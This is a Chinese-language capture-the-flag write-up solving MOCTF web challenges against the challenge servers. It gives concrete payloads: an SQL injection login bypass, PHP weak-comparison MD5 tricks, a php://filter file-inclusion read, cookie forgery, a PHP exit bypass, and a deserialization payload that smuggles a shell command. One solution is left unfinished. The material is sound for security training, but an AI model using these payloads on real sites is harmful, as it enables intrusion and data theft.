MOCTF
web
-
一道水题
F12查看源码或访问
view-source:http://119.23.73.3:5001/web1/
-
还是水题
F12改前端限制,提交moctf
-
访问限制
burp抓包改
User-Agent:
为 NAIVE即可 -
机器蛇
查看源码 view-source:http://119.23.73.3:5001/web4/ 发现注释下有<!--robots.txt-->,访问 访问/flag327a6c4304ad5938eaf0efb6cc3e53dc.php
-
PHP黑魔法
dirsearch扫描网站目录,/index.php~下有源码 利用php弱类型 == 在进行比较的时候,会先将字符串类型转化成相同,再比较 传入MD5后开头为0的值即可 payload:http://119.23.73.3:5001/web5/index.php?a=s878926199a&b=s155964671a
-
我想要钱
传入?money=1e88
-
登录就对了
万能密码登录 admin' or 1=1 -- +
看源码
-
文件包含
php伪协议直接读
payload:http://119.23.73.3:5001/web8/index.php?file=php://filter/convert.base64-encode/resource=flag.php
-
暴跳老板
抓包发送Dear=MyBoss 在response中有提示
-
flag在哪里
重定向,用burp抓包
脑洞访问/frogflag.php orz!!
-
美味的饼干
F12查看Cookie,base64解码,后查询md5出user
伪造admin的Cookie出flag
-
没时间解释了
条件竞争,用burp发包就行
-
死亡退出
拉开看源码
<?php show_source(__FILE__); $c="<?php exit;?>"; @$c.=$_POST['c']; @$filename=$_POST['file']; if(!isset($filename)) { file_put_contents('tmp.php', ''); } @file_put_contents($filename, $c); include('tmp.php'); ?>
P神的文章
https://www.leavesongs.com/PENETRATION/php-filter-magic.html
将
<?php exit;?>
进行编码使他失效,可以用php伪协议,file可控、base64算法解码时是4个byte一组,所以在开头加一个字母
-
火眼金睛
##脚本 import requests import re url = 'http://119.23.73.3:5001/web10/' se = requests.session() html = re.findall("<textarea rows = '30' cols = '100'>(.*)</textarea>",se.get(url).text) result = re.findall("moc(.)f",str(html)) data = {'answer': len(result)} sult = se.post('http://119.23.73.3:5001/web10/work.php',data = data) print(sult.text)
-
unset
<?php highlight_file('index.php'); function waf($a){ foreach($a as $key => $value){ if(preg_match('/flag/i',$key)){ exit('are you a hacker'); } } } foreach(array('_POST', '_GET', '_COOKIE') as $__R) { if($$__R) { foreach($$__R as $__k => $__v) { if(isset($$__k) && $$__k == $__v) unset($$__k); } } } if($_POST) { waf($_POST);} if($_GET) { waf($_GET); } if($_COOKIE) { waf($_COOKIE);} if($_POST) extract($_POST, EXTR_SKIP); if($_GET) extract($_GET, EXTR_SKIP); if(isset($_GET['flag'])){ if($_GET['flag'] === $_GET['daiker']){ exit('error'); } if(md5($_GET['flag'] ) == md5($_GET['daiker'])){ include($_GET['file']); } } ?>
看到
foreach(array('_POST', '_GET', '_COOKIE') as $__R) { if($$__R) { foreach($$__R as $__k => $__v) { if(isset($$__k) && $$__k == $__v) unset($$__k); } } }
超全局变量覆盖,没看懂,。。。。。。post和get同时发东西,以后补
-
PUGU
点击学校,再点击叫我校霸,能下载到源码,访问class.php.bak得到源码
php反序列化实现任意命令执行
payload:
http://120.78.57.208:6001/?LandIn=school&pubg=O:7:"sheldon":3:{s:3:"bag";s:27:"//win.php| cat ./class/flag";s:6:"weapon";s:3:"AWM";}